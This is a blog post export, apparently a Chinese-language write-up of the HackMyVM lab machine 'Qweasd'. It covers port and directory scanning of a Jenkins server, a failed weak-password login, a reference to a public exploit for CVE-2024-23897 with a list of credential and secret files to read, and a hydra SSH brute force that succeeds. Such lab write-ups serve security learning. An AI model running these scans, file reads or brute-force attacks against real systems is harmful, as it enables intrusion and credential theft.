{"id":677,"date":"2024-05-10T11:38:20","date_gmt":"2024-05-10T03:38:20","guid":{"rendered":"http:\/\/162.14.82.114\/?p=677"},"modified":"2024-05-10T11:38:20","modified_gmt":"2024-05-10T03:38:20","slug":"hmv-_-qweasd","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/677\/05\/10\/2024\/","title":{"rendered":"hmv[-_-]Qweasd"},"content":{"rendered":"

Qweasd<\/h1>\n

\"image-20240509151852573\"<\/div>
\n
\"image-20240509152444323\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/qweasd]\n\u2514\u2500$ rustscan -a 172.20.10.3 -- -A  \n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 172.20.10.3:22\nOpen 172.20.10.3:8080\n\nPORT     STATE SERVICE REASON  VERSION\n22\/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 fa:b1:dc:5b:9e:54:8c:bd:24:4c:43:0c:25:fd:4d:d8 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBII0ziD38tcDlxwjZrDCiozYGINQspSN5ncXK2GoHX1kLI1L9al+R4GhjAKE6jB7ipn0Atz\/RKIiJugqSE0DdW4=\n|   256 29:71:69:ca:bc:74:48:26:45:34:77:69:29:a5:d2:fc (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHTbjSfk0S1wjrZGGkYU7F2VI7yvht724l+JXdkUFRUV\n8080\/tcp open  http    syn-ack Jetty 10.0.18\n| http-robots.txt: 1 disallowed entry \n|_\/\n|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n| http-open-proxy: Potentially OPEN proxy.\n|_Methods supported:CONNECTION\n|_http-title: Dashboard [Jenkins]\n|_http-server-header: Jetty(10.0.18)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/qweasd]\n\u2514\u2500$ gobuster dir -u http:\/\/172.20.10.3:8080\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/172.20.10.3:8080\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,jpg,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index                (Status: 200) [Size: 14983]\n\/search               (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/search\/]\n\/about                (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/about\/]\n\/login                (Status: 200) [Size: 2224]\n\/main                 (Status: 500) [Size: 8620]\n\/people               (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/people\/]\n\/assets               (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/assets\/]\n\/computers            (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/computers\/]\n\/log                  (Status: 403) [Size: 595]\n\/computer             (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/computer\/]\n\/api                  (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/api\/]\n\/me                   (Status: 403) [Size: 593]\n\/timeline             (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/timeline\/]\n\/logout               (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/]\n\/404                  (Status: 200) [Size: 8582]\n\/script               (Status: 403) [Size: 601]\n\/robots.txt           (Status: 200) [Size: 71]\n\/widgets              (Status: 302) [Size: 0] [--> http:\/\/172.20.10.3:8080\/widgets\/]\nProgress: 16242 \/ 1543927 (1.05%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 16290 \/ 1543927 (1.06%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240509152739532\"<\/div>
\n
\"image-20240509152706961\"<\/div>
\n
\"image-20240509152727513\"<\/div><\/p>\n
\u654f\u611f\u76ee\u5f55<\/h3>\n
http:\/\/172.20.10.3:8080\/robots.txt<\/code><\/pre>\n
# we don't want robots to click "build" links\nUser-agent: *\nDisallow: \/<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/qweasd]\n\u2514\u2500$ curl -s http:\/\/172.20.10.3:8080\/eval | html2text\n\nSkip_to_content\n[[Jenkins]][Jenkins]\n[[Jenkins]]Jenkins\n[q                   ]\nlog_in\n   1. Dashboard\n****** This URL requires POST ******\nThe URL you're trying to access requires that requests be sent using POST (like\na form submission). The button below allows you to retry accessing this URL\nusing POST. URL being accessed:\nhttp:\/\/172.20.10.3:8080\/eval\nIf you were sent here from an untrusted source, please proceed with caution.\nRetry using POST\nJenkins 2.441\nGet_involved\nWebsite<\/code><\/pre>\n
http:\/\/172.20.10.3:8080\/login<\/code><\/pre>\n
\"image-20240509153117656\"<\/div><\/p>\n
\u5c1d\u8bd5sql\u6ce8\u5165<\/h3>\n
\u9996\u5148\u5c1d\u8bd5\u5f31\u5bc6\u7801\u548c\u4e07\u80fd\u5bc6\u7801\uff0c\u4f46\u662f\u4f3c\u4e4e\u4e0d\u884c\uff1a<\/p>\n
POST \/j_spring_security_check HTTP\/1.1\nHost: 172.20.10.3:8080\nContent-Length: 50\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:\/\/172.20.10.3:8080\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9\nReferer: http:\/\/172.20.10.3:8080\/login\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: JSESSIONID.ee849cb9=node01aqnwx6eedrh51y0ahh8o5zi4o46075.node0\nConnection: close\n\nj_username=admin&j_password=password&from=&Submit=<\/code><\/pre>\n
\"image-20240509154019741\"<\/div><\/p>\n
\u6682\u65f6\u884c\u4e0d\u901a\u3002<\/p>\n
\u5c1d\u8bd5\u5176\u4ed6\u6f0f\u6d1e<\/h3>\n
\"image-20240509155424230\"<\/div><\/p>\n
\u53f3\u4e0b\u89d2\u770b\u5230\u7248\u672c\uff0c\u5c1d\u8bd5\u627e\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240509155446385\"<\/div><\/p>\n
\u5f88\u591a\u7684\u6f0f\u6d1e\u4f46\u662f\u7248\u672c\u53f7\u5bf9\u4e0d\u4e0a\uff0c\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240509155517807\"<\/div><\/p>\n
\u4f46\u662f\u90fd\u6ca1\u5c1d\u8bd5\u6210\u529f\uff0c\u5c1d\u8bd5\u6362\u4e00\u4e0b\u522b\u7684\uff1ahttps:\/\/github.com\/godylockz\/CVE-2024-23897<\/a><\/p>\n
\"image-20240509160123083\"<\/div><\/p>\n
\u8fd9\u4e2a\u6210\u529f\u4e86\uff1a<\/p>\n
\"image-20240509160135853\"<\/div><\/p>\n
\u5c1d\u8bd5\u6309\u7167payload\u7684\u4ecb\u7ecd\u8d70\uff1a<\/p>\n
    \n
  • \/proc\/self\/environ<\/code> Environmental variables including JENKINS_HOME<\/code><\/li>\n
  • \/proc\/self\/cmdline<\/code> Command-line arguments<\/li>\n
  • \/etc\/hosts<\/code> Linux local-DNS resolution<\/li>\n
  • \/etc\/passwd<\/code> Linux user accounts<\/li>\n
  • \/var\/jenkins_home\/users\/users.xml<\/code> User account storage locations<\/li>\n
  • \/var\/jenkins_home\/users\/<user_directory>\/config.xml<\/code> User BCrypt password hash<\/li>\n
  • \/var\/jenkins_home\/secrets\/master.key<\/code> Encryption secret key<\/li>\n<\/ul>\n
    \u4f46\u662f\u641e\u4e0d\u4e86\u3002\u3002\u3002\u3002\u6ca1\u53d1\u73b0\u7b2c\u4e00\u6b65\u6240\u8bb2\u7684\u6587\u4ef6\u76ee\u5f55\uff0c\u5230\u5904\u7ffb\u7ffb\u5427\u3002\u3002\u3002<\/p>\n
    \"image-20240509165358153\"<\/div><\/p>\n
    \u6ca1\u6536\u83b7\uff0c\u540e\u9762\u6211\u5c31\u4e0b\u4e86\uff0c\u6709\u5e08\u5085\u8bd5\u51fa\u6765\u4e86\u914d\u7f6e\u6587\u4ef6\u7684\u8def\u5f84\/home\/penetration\/.jenkins<\/code>\uff0c\u4f46\u662f\u662f\u7a7a\uff0c\u8fd8\u6709\u5e08\u5085\u7206\u7834\u51fa\u6765\u4e86\uff1a<\/p>\n
    \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/qweasd\/CVE-2024-23897]\n\u2514\u2500$ hydra -l kali -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/172.20.10.3\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-05-09 23:25:15\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/172.20.10.3:22\/\n[STATUS] 107.00 tries\/min, 107 tries in 00:01h, 14344293 to do in 2234:19h, 15 active\n[STATUS] 105.33 tries\/min, 316 tries in 00:03h, 14344084 to do in 2269:39h, 15 active\n[22][ssh] host: 172.20.10.3   login: kali   password: asdfgh\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 2 final worker threads did not complete until end.\n[ERROR] 2 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-05-09 23:28:46<\/code><\/pre>\n
    \u5636\u3002\u3002\u3002\u3002\u4e0d\u7528\u63d0\u6743\u4e86\uff0c\u5168\u6743\u9650\u7528\u6237\u3002\u3002\u3002<\/p>\n
    kali@asd:~$ ls -la\nctotal 44\ndrwxr-x--- 4 kali kali 4096 Apr 13 01:55 .\ndrwxr-xr-x 4 root root 4096 Apr  5 08:57 ..\nlrwxrwxrwx 1 root root    9 Apr  5 08:48 .bash_history -> \/dev\/null\n-rw-r--r-- 1 kali kali  220 Jan  6  2022 .bash_logout\n-rw-r--r-- 1 kali kali 3771 Jan  6  2022 .bashrc\ndrwx------ 3 kali kali 4096 Apr  5 09:23 .cache\n-rw-r--r-- 1 root root  259 Apr  5 09:19 docker-compose.yml\n-rw------- 1 kali kali    5 Apr  5 09:23 .gdb_history\n-rw------- 1 kali kali   20 Apr 13 01:54 .lesshst\n-rw-r--r-- 1 kali kali  807 Jan  6  2022 .profile\ndrwx------ 2 kali kali 4096 Apr  5 08:37 .ssh\n-rw-r--r-- 1 kali kali    0 Apr  5 08:38 .sudo_as_admin_successful\n-rw------- 1 kali kali 1032 Apr 13 01:55 .viminfo\nkali@asd:~$ cd .ssh\nkali@asd:~\/.ssh$ ls -la\ntotal 8\ndrwx------ 2 kali kali 4096 Apr  5 08:37 .\ndrwxr-x--- 4 kali kali 4096 Apr 13 01:55 ..\n-rw------- 1 kali kali    0 Apr  5 08:37 authorized_keys\nkali@asd:~\/.ssh$ cd ..\nkali@asd:~$ sudo -l\n[sudo] password for kali: \nMatching Defaults entries for kali on asd:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin, use_pty\n\nUser kali may run the following commands on asd:\n    (ALL : ALL) ALL<\/code><\/pre>\n
    \u53cd\u8fc7\u6765\u770b<\/h2>\n
    \"image-20240510113412464\"<\/div><\/p>\n
    \u914d\u7f6e\u6587\u4ef6\u8fd8\u662f\u6ca1\u80fd\u731c\u5230\u6709\u70b9\u53ef\u60dc\uff0c\u54c8\u54c8\u54c8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
    Qweasd \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/qweasd] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-677","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/677","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=677"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/677\/revisions"}],"predecessor-version":[{"id":678,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/677\/revisions\/678"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=677"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=677"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=677"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}